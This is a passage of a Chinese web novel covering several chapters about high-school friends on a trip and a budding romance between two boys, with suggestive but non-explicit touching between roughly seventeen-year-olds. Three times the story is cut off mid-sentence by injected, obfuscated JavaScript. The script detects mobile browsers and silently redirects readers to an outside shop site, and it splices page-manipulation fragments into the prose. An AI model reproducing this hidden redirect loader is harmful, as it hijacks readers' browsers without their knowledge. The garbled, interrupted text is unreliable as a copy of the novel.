安闻眼睛亮了,竖着大拇指夸奖她,“不愧是你啊,我刚才想了半天怎么形容。脑子都空了,吃了没文化的亏。”说话间还不忘拉踩,“林清宇更是没脑子,背了一首驴唇不对马嘴的《望庐山瀑布》。不如施肩吾的这首贴切。” 听着安闻的夸赞,罗晴并不买账,“哪是吃了没文化的亏,明明是被牵了手脑子才空了。” 安闻听出了罗晴言语间的嘲讽,也不好解释,只能讪讪地敷衍,“误会,都是误会。” 这时卢远也安顿好马上来了。他扑到栏杆边,就是一通,“卧|槽!卧|槽!卧|槽!卧|槽!” 全方位多角度地演示了“卧|槽”两个字不同语气的表意。 卢远是个莽夫,感情没那么细腻。但正因为钝感,反而解救了安闻三人的尴尬。 一行人在母河源头玩到日头当空,实在太晒了,才意犹未尽地回了酒店。 吃完午饭,在酒店休息一会儿,又马不停蹄地赶去了万年冰洞。 这处万年冰洞不仅在当地,在整个北方都非常出名。形成于新生代第四纪冰川期,距今已有300万年的历史。 它的奇特就在于,按照当地洞外的气候条件来看,根本构不成结冰的环境,但洞中一年四季冰柱不化,越往深处冰层越厚。 是迄今为止全国范围内已发现的最大的冰洞,并且这个冰洞的规模在全世界永久冻土层以外的冰洞里都非常罕见。 更罕见的,也是安闻最感兴趣的,就是在距离冰洞不到200米的地方,又一处千年不息的地火,冰火本事相克,却奇妙地共存在一处。 张哥在路上一直强调,冰洞规模非常大,但开发成景区的地方只有不到一百米,只是硕大冰洞中的九牛一毛。 里面分为上下多层,可以钻冰洞,下冰滑梯,也可以过冰栈,到其他各层参观。但是,进了冰洞一定要紧跟导游,不要到处乱跑。 大家被张哥这段话调动起了兴趣,只有罗晴坐在后排,不怎么说话。 大家在冰洞入口,穿上了羽绒服。叶笑笑想戴手套,但是环视了一圈,大家好像都没有手套。 “咦?林清宇,你手上怎么回事?”叶笑笑用手套拍了林清宇手一下,大家的目光都集中在了林清宇的手上。 林清宇没有躲,反而大大方方的把左手露出来,还带着点炫耀的意思,“这个啊?我家文文咬的。” 安闻在旁边瞪大了眼睛,感觉到大家的视线都盯着自己,他把头埋进了羽绒服领子里。 “你们想什么呢?”林清宇哈哈大笑,看了一眼安闻跟大家解释道,“不是这个闻闻,是我家金毛儿文文咬的。” 安闻松了一口气,在心里骂林清宇大喘气。梁米出来打圆场,“他家小金毛特文静,叫文文。林清宇,你把照片拿出来,让大家看看是不是特可爱。” 叶笑笑和卢远咋咋呼呼地去看小狗的照片,罗晴站在原地没有动。 衣服都换好了,张哥打头,后面是梁米和卢远,然后是两个女生,最后是安闻和林清宇殿后。 大家一个接一个的往里面走,不知不觉罗晴就落到了安闻前面,一层一层的参观,各种形态的冰柱,教人不禁感慨大自然的鬼斧神工。 安闻留意到罗晴一直用眼睛瞥自己,加上她上午撞到了自己和林清宇牵手,然后就不爱说话了。安闻猜想她有话要说。 他在下第四层的冰洞前拽了一下罗晴,罗晴意会,两人看着大部队走远,然后转身躲在了冰洞入口旁的凹陷里,这里应该是一个电路检修口。正好可以容纳两个人面对面说话,专心参观的人不太会留意这个阴影处。 罗晴垂着眼皮,确实是有话,不知道该不该问。 安闻大概明白,自从上次乌龙又狗血的表白之后。两人达成一致,感情先放放,高考完再说。其实这个说法就是在逃避,把矛盾后移而已。如果罗晴耐不住性子,想现在把矛盾解决,那他就不妨把话说明白些,不要吊着人家姑娘。 可是逼着女孩儿先开口,实在不是绅士的行为。 安闻作为男人,主动先开了口,“罗晴,你是不是有话跟我说?” “是。”罗晴抬起头大方承认,并且毫不畏惧,“你是不是喜欢男人?” 面对突如其来的质问,安闻有些不知所措,但他不想骗罗晴,“是。” “你是同性恋?”罗晴只是怀疑,却得到了安闻如此肯定的答案,她震惊地捂嘴。 “算是吧。”安闻低着头看不清表情,这次给出的答案却不那么坚定。 但罗晴已经认定了安闻确实是喜欢男人的同性恋,她眼睛又有些红,隐在黑暗之中看不见,但是哽咽的声音出卖了她,“你是同性恋却不告诉我,我跟你告白你很爽吗?吊着我好玩吗?拖着我让我以为高考之后还有机会有意思吗?” 她的声音比冰洞里的温度还要寒,安闻心头一紧,声音涩哑地道歉,“抱歉。但是我确实是不久前才得知我喜欢男人。我没想吊着你,你跟我表白的时候,我真的不知道我喜欢男人。而且在卢远跟你表白之前,我甚至一度认为我是喜欢你的,因为你的性格太吸引人了。” 安闻一股脑儿地说出了心里话,“说实话,罗晴,你是一个很好的朋友。我不想失去你这个朋友,所以我不想骗你。” “所以,是齐笛?齐笛喜欢你被林清宇发现了,他才被迫转学的?然后他转学之后你才发现你喜欢男人,你喜欢齐笛。”罗晴也毫不遮掩地说出了自己的推测。 安闻摇摇头,又意识到罗晴可能看不见,“不是,我不喜欢齐笛,跟他没关系。” “那是林清宇?你喜欢林清宇?你今天跟他牵手来着。”罗晴也不知道自己问这个有什么意义,但她就是想问。 “不是。”安闻有些崩溃,他用手抹了一把脸,“林清宇也是很好的朋友,但是我......不喜欢他。” 另一边张哥发现队伍少了三个人,但确定没人走到前面去,那就不算太有危险,可能是掉队了。 卢远自告奋勇地回去找人,让他们三个人继续向前走,一会儿去找他们汇合。 说话间就看见林清宇回来了。 “我正要去找你们呢,他俩去哪儿了?”卢远问。 林清宇回到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12983641|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灯光下,向后看了一眼,神色不明,“等一下,他们马上就来。” 一行人转完了万年冰洞,卢远又提议去看千年地火。 安闻和林清宇说不想去,罗晴说累了,梁米也附和,“要不回酒店泡温泉吧,温泉水也是千年地火加热的,就跟看地火一个样。” “就是,就是,今天一天真的有点累。”叶笑笑把身子靠在罗晴身上,也不打算再跑了。 几人坐车回到了酒店,公共汤池人太多了,像下饺子一样,张哥用李总的权限开了一眼私人汤池给他们。 罗晴说太累了,在房间泡个澡就睡了。叶笑笑来汤池溜达了一圈,喝了一杯米汤也回去了。 安顿好女生的晚饭,四个男人把晚餐叫到了汤池边,还叫了一瓶红酒。 安闻喝了一杯,就趴在汤池边点瞌睡。三个人分了剩下的酒,借着酒劲谈天说地吹牛逼。 等安闻迷迷糊糊醒来,发现自己没在池子里,而是躺在池边的躺椅上,身上盖着两条浴巾。 往池子里一看,已经有三个空酒瓶子了,三个醉鬼身上泡得通红,脸上比身上还要红,在汤池里玩打手游戏。 安闻叫来服务生收拾残局,在汤池里四个人都穿的泳裤,出来时,安闻给他们一人套了一件浴袍。林清宇醉得不厉害,还能帮忙把梁米卢远扶回房里。 不过把两人塞回房间之后,就两个房间的距离,林清宇就站不住了,他趴在安闻肩头,把全部重量都压在安闻身上,把所有酒气都吹进安闻脖子里。 安闻把林清宇扶回房间,几乎耗尽了全身的力气。林清宇四仰八叉地躺在床上,闭着眼睛,浴袍散落大半,露出大半个身体。 安闻呼吸一窒,用手拍拍林清宇的胳膊,那时他身上为数不多的还被浴袍包裹的地方,“把泳裤换了再睡。” 林清宇睁开眼睛,抬起脖子去看自己的下/身,"给我拿内|裤,我总不能光着。" 安闻松了一口气,还算清醒,知道害羞,知道脱泳裤要穿内|裤,还有理智。 安闻蹲下来看着他的脸,林清宇的眼神清明,只是有些红,安闻摸不准他到底醉没醉,“你自己能起来吗?” 林清宇摇摇头,又把眼睛闭上。 安闻去卫生间洗了手,打开林清宇的行李箱,找了一条内|裤,用拇指和食指夹着递给林清宇。 “你给我换。”林清宇拱拱下/身耍赖。 安闻把内裤和睡衣放在他身上,用脚踢他,“自己换。” 床上那人还有意志,只是想耍赖而已,听到安闻语气生硬,慢悠悠地爬起来换了内裤,穿了睡衣。 安闻去卫生间冲了澡,穿上干净睡衣,回到卧室。 林清宇眼睛已经闭上,好像睡着了。 他绕到床的另一侧,躺下,关灯。背对着林清宇。 身后响起了窸窸窣窣的声音,一个炙热的火炉挪了过来,后背抵着前胸,酒气和热气夹杂在一起。 安闻稳如磐石,只剩眼睫毛在不停地抖动。 他感觉到林清宇的手环上了自己的腰,听到了林清宇压抑的呼吸。 酒醉沙哑的声音,带着幽咽在耳边响起,“既然喜欢男人,试着喜欢我好不好?” 安闻倏地睁开双眼,他听见了! 67.表白 安闻几乎停止了呼吸,他一点点缺氧,眼睛不敢眨,嘴巴不敢说话,鼻子不敢呼吸。 心脏带动着太阳穴突突跳动,他悄声地咬紧了后槽牙。 腰上的手箍得更紧了,仿佛要把自己碾碎在他怀里,安闻感觉到一滴滚烫流进自己的后脖颈,瞬间冷却冰凉。 身后的人还在蛊惑,不依不饶,他的唇贴着安闻的肩膀,带着浓重鼻音的声音在耳畔炸开,不给安闻一点儿退路,“我知道你没睡,回答我,试着喜欢我好不好。” 安闻感觉到身后的硬物,他避无可避,漆黑中转身,推开林清宇的身体,撑着双臂坐起来。 林清宇也坐起来了,他向床头挪了两下,安闻察觉到他的意图,出声阻止,“不要开灯,晃眼。” 安闻靠在床头上,双手抱着膝盖,“林清宇,既然你听到了,就不要装傻,后面的话你也都听见了吧?” 林清宇也慢慢挪到床头,安闻感觉到他的胳膊挨着自己的手臂,两人的睡衣都是半袖,此刻肌肤贴着肌肤,他稍微错开一点距离。 林清宇叹息,“我以为你是在骗罗晴。” 安闻缓缓闭上了眼睛,轻声说,“我没有骗她,我说的都是实话。” 房间“啪”得一声亮了。安闻的睫毛抖了抖,手背覆在眼睛上,没有睁开眼睛。 “安闻,睁开眼睛看着我。”林清宇两只手拉下安闻的手背,抓紧他的胳膊,他皱了皱眉,感到有些疼,慢慢睁开了眼睛。 林清宇的双眼通红,睫毛还湿着,一绺一绺的,随着他的眨眼贴在下眼睑上。 他强迫安闻看着自己。“你看着我,再说一遍。” “我说了,我和罗晴说的都是真的。”安闻不想因为眨眼而显得心虚,他瞪着眼睛,重复了一遍。 “不,我要你看着我,重复一遍,说你不喜欢我。”林清宇的手更加用力,安闻的没有皱得更紧,对方却没有放手。 “林清宇,你松开。”他避开林清宇的眼睛,看着抓在自己手臂上的手,“你弄疼我了。” 林清宇的手没有松,满含希冀的眼神就那么看着安闻,“你在躲我,安闻,你不敢说,还是不想说?安闻,你喜欢我,你是喜欢我的对不对。” 安闻看见林清宇眼中的光,他跪坐在自己前面,用双手钳制住自己,满心满眼希望得到自己一个“是”字,安闻做了一个吞咽的动作,随后张开嘴。可是他的喉咙好像被卡住一样,发不出一点儿声音。 他低下头,林清宇的手指用力到发白,自己的胳膊被掐得通红。牙齿用力咬了一下口腔中的软肉,下定决心似的抬起头,眼睛看着林清宇,眼神却虚虚的不敢对焦,“我不喜欢你。” 口腔里的肉被咬烂,一股血腥在口腔里肆虐,他清醒着,一字一顿地重复,“林清宇,我不喜欢你。” 林清宇不知道是醉了,还是借酒发疯,他拽着安闻的手臂,把他紧紧地箍在怀里,声音很小,语气却有些歇斯底里,“可是我喜欢你,安闻。我喜欢你。你可以给我一个机会吗......我是真的喜欢你。” 安闻的睡衣已经濡湿一片,林清宇在他的怀里发抖。他想抱抱林清宇,手就垂在被子上,轻轻抬起,停在空中半晌,又无力地放下。几经挣扎,最后握了一下拳,用力把林清宇推开。 “林清宇,不要逼我......讨厌你。” 林清宇被推开,脸上还带着泪,眼神由茫然无措,逐渐黯淡,失焦,他愣了很久,然后在床左右寻找,不知道在找什么东西。 最后他不动了,不找了,抓起被子躺下去,背对着安闻,给自己的行为找了个合理的解释,“抱歉,我今天喝太多了。” 安闻关了灯,轻咳一声,声音暗哑,“林清宇,我们可以一直做朋友,如果你愿意。” 林清宇真的喝得太多,躺下之后就睡着了,连呼吸声都听不到。安闻一夜没睡,直到天色发白,才有了困意。 一觉醒来,已经11点多了,林清宇不在床边。 安闻翻了个身,平躺在床上,被子捂在脸上。不想起,起来不知道怎么面对林清宇。 房卡刷开房门的声音传来,安闻的脚绷紧了又放开,闭上眼睛装睡,能多逃一会儿是一会儿。 进来的人是卢远,他一进来就往安闻身上一扑,“安小闻!太阳晒屁股了还不起!” 安闻迷蒙地睁眼,卢远一身睡衣,头发飞扬跋扈地在头上跳舞。 “怎么是你?”安闻问。 “他们都去情人谷了啊。” 安闻缓了一口气,把手背贴在眼睛上,“那他们可真勤快啊。” “罗晴说情人谷许愿特别灵,早上来敲门,我睡得太沉了,没起来。我醒的时候,人都没呢,只有这张条子和你们的房卡。” 安闻拿开手背,看见卢远手里拿着一张便签纸,他坐起来,看看自己床头,只有一个保温杯,拿起来喝了一口,甜的,温水。 便签纸上一看就是林清宇的字迹:[我们去情人谷了,你睡醒去找安闻。回来一起吃饭去高铁站,不要乱跑。] 安闻看着那字条出神,卢远在旁边嘟嘟囔囔,“我也想去情人谷的,昨晚喝太多,没起来。听说情人谷许愿特别灵,本来想去许愿来着。哎,你说,女孩子喜欢浪漫,梁米和林清宇两个人怎么也那么积极啊。昨晚喝那么多,他俩竟然能起来。真是佩服佩服。” 安闻推开卢远,“下次再去呗,又不是没机会。” “也是,等下次,我和罗晴终成眷属了再来一次。”卢远站起来,去把窗帘拉开,“快起吧,我饿死了。咱俩先去吃饭,不等他们了。” 安闻虽然睡到自然醒,但还是全身没力气,他懒懒地起床洗漱,换衣服。发现林清宇已经把行李箱收拾好了,立在门口。 那个行李箱,银色的,四四方方,高度只到林清宇的膝盖。林清宇这回是真的要走了,是自己把他推远的,这结果不就是自己想要的吗。安闻把行李箱收拾好,和林清宇的并排放在一起,一个黑色的,一个银色的,看起来那么和谐。但却各装着各的东西,各有着各的世界。 两人先去二楼餐厅吃饭,安闻没有给林清宇发消息。 最后一口米吃完,去情人谷的四个人出现在餐厅门口,安闻错开视线,回头去叫服务员买单。 林清宇在一进餐厅的时候就看见安闻了,他径直走过去,看着桌上的空盘,“怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13003654|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不等我们?” 安闻和卢远坐的四人卡座,现在又来了四个人,一定是坐不下的,卢远替他回答,“我们饿了就先吃了。” 安闻站起来,跟他们打招呼,“我们吃完了,你们吃吧,我回房收拾东西。” “一起再吃点吧。”林清宇不准他走,像平常一样拽住他的手腕,“换个桌,陪我们再吃点。” 六人换到了一个靠窗小圆桌,安闻有些别扭,他一直没敢看林清宇,反而是林清宇一直在用公筷给他夹菜,跟他耳语,和从前别无二样。 “你们几点醒的?”梁米问。 不问还好,这一问卢远就想抱怨,“十一点多,睡醒就去找安闻了。你们俩可真有精神,都是喝一样的酒,你们还能撑着起来,我怀疑你们两个就是想跟美女单独出去,压根没叫我。” 林清宇给安闻夹了一块八珍糕,小声问他,“你头疼吗?” “还好。”安闻不冷不淡地回答。 “我头可疼了。”林清宇用手指去戳他腰上的软肉,“你快交待,昨晚是不是趁我酒醉爆锤我头了?” 安闻被戳得直躲,抓住他作祟的手指,“我没事闲的啊?我也喝酒了好嘛。” 林清宇抽回了自己的手指,抬头看安闻,“我一喝多,就断片。” 安闻也抬头,回了一个大大的微笑,“巧了,我也是。” 林清宇是真的没有睡好,和卢远在回Q市的高铁上睡了一路。罗晴一直在和叶笑笑聊天,好像心情还不错。 梁米和安闻坐的两人座,梁米靠窗,安闻靠过道。 两人都没睡觉,一路看着窗外。其实也没什么好风光,但两人就是看了一路。 临到高铁快到站,梁米才转过头来,“安闻,你觉得我剪个头发怎么样?” 梁米的头发不长不短,正好盖住耳朵上边,安闻仔细打量了一下,跟他开玩笑说,“我觉得现在你这头发正好。你想怎么剪?剃光啊?” 梁米笑了笑,揪了一把头发,“我又不出家,天太热了。我剪短一点,凉快。” “那就剪呗,头发又不是不长,后悔了再留长就行。”梁米的头发乌黑柔润,安闻手痒也上手撩了下他耳边的头发,“哎,你还有耳洞啊?” 梁米伸手摸了下耳洞的位置,低头弯唇,“是不是挺酷的?” 安闻站起来去看梁米的另一边耳朵,“怎么只有一个?还打在耳骨上,多疼啊。” 梁米的手还没有离开耳洞,耳朵被捏得发红,他回过头笑笑,“你懂什么,这叫时尚。” 高铁到了站,游人各分散。梁米跟在安闻身后,突然想起什么似的,拽了一下他的行李箱。 安闻落后一步,与他并肩。 “情人谷许愿真挺灵的。”梁米说。 “是吗?你许了什么愿?”安闻问。 梁米笑着看了他一眼,“我又没有情人,不用许愿。不过,我看到了林清宇的许愿牌。” 安闻有些结巴,“不......不用告诉我。” 梁米走到安闻前面,转过身来,挡住他的去路。 安闻抬头看他,梁米在他耳边轻声说,“以朋友的身份,一生为伴。” 68.膝跳 暑假里,兰胜男终于有时间去民政局扯了证,给了周叔一个名分。不过因为安闻开学就高三了,兰胜男还是两边跑,暂时没有搬过去。 婚礼没有办,只是请亲戚朋友们小范围的吃了顿饭。安闻知道,兰胜男和周叔是为了照顾自己的感受。 更稀奇的是,安黎明转了性,知道兰胜男再婚竟然没有作妖。 安闻这暑假的最后几天,难得过了几天了岁月静好的生活。 转眼开了学,两人都进了小班,范玉红向刘秉航学习,小班也按照名次排位置,而且单人单桌,林清宇和安闻几乎坐在教室对角线的两个端点。 两个人揣着明白装糊涂,日子倒也过得不尴不尬。 安闻强迫自己当一只鸵鸟,把头埋进沙子里,暂时不要想,自己的态度已经表明,只要不给林清宇希望,自己就可以自欺欺人。 还是可以和林清宇做朋友,不要想以后,享受现在就好。 就比如现在,这个周末,安闻伏在自己的书桌上认真写卷子,林清宇本来应该趴在床上给安闻批改卷子的,却不知道什么时候就蹲在了安闻腿边。 手里还拿着一个......额......安闻定睛看了看,瞪大了双眼,铁榔头? 他把自己抱成一团,脚蹬在椅子上,翘着脚趾瑟缩道,“你想干什么?劫财还是劫色?算了!劫财没有,劫色更没有。” 林清宇板着脸蹲在旁边,命令道,“把腿拿下来,往里面坐一点。” 安闻惊恐地看着他,然后将信将疑地把腿放开,安闻在家没有穿袜子,一双雪白的脚,从椅子上垂下来,落在了地上。 林清宇一挑眉,继续指挥,“屁股往里坐,在椅子角把腿岔开。” 林勇平是儒雅的,生了个儿子,却有霸总潜质。安闻看他不苟言笑,有些戒备地看着他,声音都软了下来,“我卷子没及格?我犯什么错了吗?你到底要干什么啊。” 嘴上这么说着,但是身体还是根据林清宇的摆布,按部就班地照做。 林清宇站起来找了一块毛巾,把铁榔头包住。安闻就乖乖地坐在椅子上抬头看他,看他弯唇一笑,看他单膝跪地,看他伸出左手伏在自己的右膝上。 安闻心若擂鼓,心里暗想,天呐,他不会是又抽风要表白吧。天呐,我该怎么应对。 算了,以不变应万变。安闻下定决心,见招拆招。 然后安闻就看见,林清宇伸出了右手的铁榔头,轻快地在自己的右膝膝腱上一敲。安闻的小腿就急速前踢,踢在了林清宇的膝盖上。 尴尬的是,林清宇穿着黑色牛仔短裤,安闻没有穿袜子。安闻的脚踢在了林清宇膝盖上,然后被牛仔短裤的裤脚勾住,没有当下就回到原位置。 不过虽然尴尬,安闻还是松了一口气,不是又抽风就好,他嘴里嗔骂着,“你神经病啊。” 林清宇抓住他的脚,捏了一下,好像是按了什么开关,安闻登时耳朵就红了。 “长记性了没有?”林清宇抬头问他。 “什么?”安闻不明所以,红着耳朵小心抬头,像一只走丢的小鹿。 林清宇又在他脚上捏了一下,然后炙热干燥的手覆上了他的膝盖,“当你的膝关节半弯曲并且小腿自由下垂时,我轻快地叩击的你膝腱。” 林清宇停顿了一下,用膝盖上的手指指背轻快地敲击了一下安闻的膝腱,力度很轻,不足以发生膝跳反应,况且安闻的脚还在林清宇手里握着。但是安闻还是感觉到自己的膝关节跳了一下。 “然后你的感受器,也就是肌梭就会发放神经冲动,由位于股神经内的传入神经纤维传向脊髓。”林清宇的手缓缓移向了安闻的腰,轻轻碾揉腰部第二节脊髓,安闻不动神色地挺直了腰杆。 “然后冲动由位于股神经内的传出纤维传递至效应器股四头肌的运动终板,从而引起被牵拉的肌肉收缩,使小腿前伸。” 林清宇的手并未老实,而是边讲解边抚摸,由后腰到侧腰,由侧腰到大腿前侧、内侧,最后达到膝盖,又一次轻轻地碾揉,然后握着安闻脚的手,轻轻一提,完成了整个膝跳反应。 神经冲动冲没冲动安闻不知道,反正如果林清宇的手再不挪开,他就要冲动了。 讲解终于到了尽头,安闻的额头已经出了一身薄汗,仿佛刚在在自己身上游走的不是林清宇的手,而是自己。自己就是那神经冲动,在全身跑了个遍,气喘吁吁又酣畅淋漓。 他失神地望着林清宇,那双手的余温还在身体里乱窜。顽劣的人只管点火,现在又一本正经地看着自己,“长记性了没有?” 安闻回神,低下头,把自己的脚塞回拖鞋里。他坐也不是,站也不是,索性抱起膝盖,把头歪在膝盖上埋怨,“林老师,讲题就讲题,干嘛动手动脚?” 林清宇还蹲在地上,抬眼看他,玻璃上的日光折射进他漆黑的眸子里,细碎的,闪烁的,他也外头一笑,扶着安闻的椅子站起来,“不是安老师教的吗?纸上得来终觉浅,绝知此事要躬行。” 安闻无语了,当老师摆谱终有一天会得到反噬。 林老师把批改好的卷子递给他,“膝跳反应,所有知识点,你都要好好看看。这几天的卷子,每次都错在膝跳反应上。” 安闻接过卷子,看了一眼,瞬间炸毛。“林清宇,你公报私仇。” 卷子上的题,白纸黑字的写着,人膝跳反射的反射弧由( )和( )组成。而旁边红笔画着一个大大的对钩。 安闻就势把林清宇按在床上,“这题我明明写对了!” “可是你确实这两套卷子没写对。”林清宇把另外两张卷子往安闻脸上一怼,趁着安闻看不清楚,顺利逃脱。 安闻越想越气,抓住他的手把他拽回来,胡搅蛮缠道,“让我也敲回来,就原谅你。” 林清宇想也没想,立刻答应,大喇喇地往床上一坐,“来吧。” 安闻跳下床,拿起地上的铁榔头,用手掂量了一下,又觉得太沉。放在地上,嘟囔着,“我都不知道我家有这个东西。你从哪里拿的?” “储物间啊,上次帮兰姨装相框,看见储物间里有一个特别大的工具箱,里面什么都有。” 安闻蹲在衣柜下面翻了半天,关上柜门又到书桌下面的柜子里翻,翻箱倒柜,终于找到了一个按摩捶,“我家有这个,我没怎么用过,应该比你那个好点,铁榔头锤着疼。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008555|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林清宇用手撑着身体后仰,抬头去看他,闻言又前倾去摸安闻的膝盖,“刚才锤疼你了?” “没有啊。”安闻退后两步,躲开了他的手,解释道,“我是怕我下手没个轻重,你疼。” 林清宇的眼皮耷拉下来,带着笑轻声说,“把腿锤折了也没关系,你负责养我就行。” 按摩捶有点脏,安闻正在专心致志地清理,此刻假装没有听见,也就没有搭茬。林清宇也转移了话题,他躺在床上催促,“快点儿,一会儿我睡着了。” 安闻磨磨蹭蹭地走到床边,用按摩捶敲了敲他的腿,“坐到椅子上去。” 林清宇撑着身子坐起来,看了看自己落在地上的脚,欠揍的说,“不好意思,腿太长了。” 转移到椅子上之后,尴尬了。 刚才安闻往里坐就能脚悬空的凳子,林清宇除非坐到椅背上,脚才能悬空。 林清宇一脸得意地扬着眉毛,在安闻看来,那表情就是无声地叫板:看我这优越的大长腿,你想敲也敲不成。 安闻的好胜心上来了,他锤一锤书桌,咬牙道,“你坐这里来。” 林清宇也不反对,就由着安闻玩儿。他跳上书桌,继续挑衅,“你还小,别气馁,还会长的。” 安闻被他一激,膝腱还没锤,先是锤了他大腿几下,“你才小呢,我过几天就18了。”男人不可以说小,身高更不能说矮,“不过,我确实还会再长的。总有一天能超过你,你就是沾了小时候营养好的光。” 林清宇眯着眼睛笑,继续刺激他,“是啊,我也就是你小不到半年,你能长,我就不能长了。” 安闻发窘,倏地轻叩他的膝腱,不管不顾林清宇的腿在什么位置。林清宇的神经反应非常灵敏,瞬时弹起,不灵敏的是安闻的脑子。 他轻叩的这条腿,正放在自己两腿中间。尴了个大尴。安闻站在那里不知所措,反而是林清宇,轻声叫了一句,“干嘛啊?公报私仇啊,哥哥。” “砰——”出来混总是要还的,安闻半小时前发出的子/弹,带着回旋镖和烟花,正中他的眉心,然后在脑子里炸开。 犯规,林清宇犯规。不就是小四个多月嘛,为什么要叫哥哥。 那元/凶却开了闸,不问三七二十一,扯着他的手腕,把他拉近。 现在林清宇坐在桌子上,自己站在他的两腿中间,敌强我弱,敌人占领高地,就要适当认怂。 安闻低下头,揉着林清宇的膝盖,“不好意思啊,不小心敲重了。” 林清宇手指弯曲,抬起安闻的下巴,一双眼睛透着水,不知是敲疼了还是柔情,“哥哥,快18岁了,想要什么生日礼物?” 安闻此刻真的后悔,没有好好跟兰胜男学念佛经,此刻有没有什么清心诀可以念一念啊。 他犯规,他怎么这么好看,还这么蛊啊。 安闻使劲掐了一下手里的大腿,痛感却没有传来,只有林清宇皱着没有“嘶哈”了一声。 安闻低头,脑海中跑过万马奔腾,丢人丢大发了。他赶紧揉了揉林清宇大腿内侧被自己掐红了的软肉。 “生日礼物可以不要,但我成人礼,求你别作妖。” 69.接你 林清宇没有答应,也没说不答应。反正他主意大,想作妖安闻也拦不住。 安闻同样拦不住的还有安黎明。 保姆还没有找到合适的,安黎明自己也能做饭。安闻开学前去看过他两次,自己给自己炒的菜,还泡的药酒,小日子过得挺滋润。 也不知道是良心发现还是怎么的,第二次去安黎明还送了安闻一套睡衣,藏蓝色的棉质睡衣,入秋穿正好,尺寸也合适。 这次倒不是安黎明作妖,他是真生病了。 刚入秋,早晚温差大,人们中午穿半袖,晚上穿风衣。暖气还没有供热,安黎明着凉感冒了。 这次感冒来得汹涌,安黎明没有力气,就给安闻发了信息,让安闻给自己买些感冒药送过来。 升入高三,学习繁重,晚自习直接延长到了九点半,住校生还要再多一节晚自习。 安闻担心安黎明感冒懒得做饭,下午放学就跟范玉红请了一节晚自习的假。 走到半路,接到安黎明的电话,说自己难受,让他快一点。 安闻问他有什么症状,然后根据安黎明说的症状,在小区里的药店买了一些感冒药。 到了安黎明家,他确实生病了,鼻子不通气,恹恹地躺在床上,安闻也没问他意见,直接给他熬了白米粥,做了个白灼菜心。 饭端上桌,安黎明还在嘟囔想喝羊汤。 安闻没有理他,两人吃完饭,安闻洗了碗,看着安黎明吃了药,又急急忙忙赶回学校上晚自习。 紧赶慢赶,累得一身是汗,赶上了第二节晚自习。 请假的时候着急,安闻没有告诉任何人。回来是,林清宇就坐在靠近前门的第一列第一排,看见安闻气喘吁吁地进来,他皱了皱眉头。 安闻看了他一眼,然后手里就多了一包纸巾和一桶酸奶。 现在卢远坐在安闻前桌,他回过头悄声问安闻干什么去了,是不是不舒服。 安闻敷衍过去了。 原来的补课小组早已没时间周末补课,因为一中的高三周末只有周日上午放假,给住校生一个回家的时间。 兰胜男之前要求安闻必须10点前上床睡觉,现在也因为高三多宽容了半小时。 黑板的右上角写着,“距离高考还有244天。” 大家的心思都扑在了学习上,但也惦记着在(1)班的梁米,于是他们几个不住校的,就会在放学之后,再陪梁米上一个晚自习。 不过今天安闻没有时间,没等放学,他的手机就一直在桌斗里面振动,得亏马上快放学,范老师睁一只眼闭一只眼。 安黎明又打来电话说自己难受,让安闻过去一趟。 放学时候,安闻去找了梁米,跟他说了一下自己有事,就准备要走。林清宇拽住他手腕,“我家车在学校外面,太晚了,让谷叔送你过去。” 安闻刚一张嘴,就被林清宇堵了回去,“你快去快回,完事回来再接我。谷叔一直在外面坐着等我也无聊,让他陪你走一趟。” 安闻知道林清宇是担心安黎明犯浑,找了个理由让谷叔陪着,他也没有拒绝。 安黎明没有犯浑,他确实是感冒流鼻涕,鼻子不通气难受。安闻给他买了通气鼻贴,又给他做了一碗姜汁糖水。 林清宇给安闻打电话,让他直接回家,谷叔来接自己就行。安闻一看表,已经十点四十了,把林清宇的司机带走,然后又把他一个人扔在学校,安闻实在过意不去,他还跟谷叔一起回了学校。 远远地就看见校门口蹲着一株蘑菇,黑色的风衣,黑色的书包,黑色的头发,抬起头来,还有一双惊喜的黑色的眼睛,“你怎么来了?” 身高原因,安闻极少能看到林清宇的头顶,林清宇乖乖蹲在路边的样子,让他忍不住伸手摸了一把他的头发,然后又没忍住反复揉搓了几把。 林清宇的头发真软,揉起来真解压,疲惫都不见了。安闻绷着的身体软了下来。 蹲着的人拽住他的手腕站起来,两只手裹着他的肩,把他推到车上,“不揪改揉了,也算温柔点。”然后又啰啰嗦嗦,“说了不要你来接,这么晚你跑过来干什么。” “我来接你你不开心吗?”安闻可能真是累了,嘴上没个把门的,说完就后悔了,但是嘴上也不像微信,还有个撤回功能。 车里明明很暗,只有路灯的光透进来,但林清宇的眼睛亮闪闪的,雀跃着,“开心。” 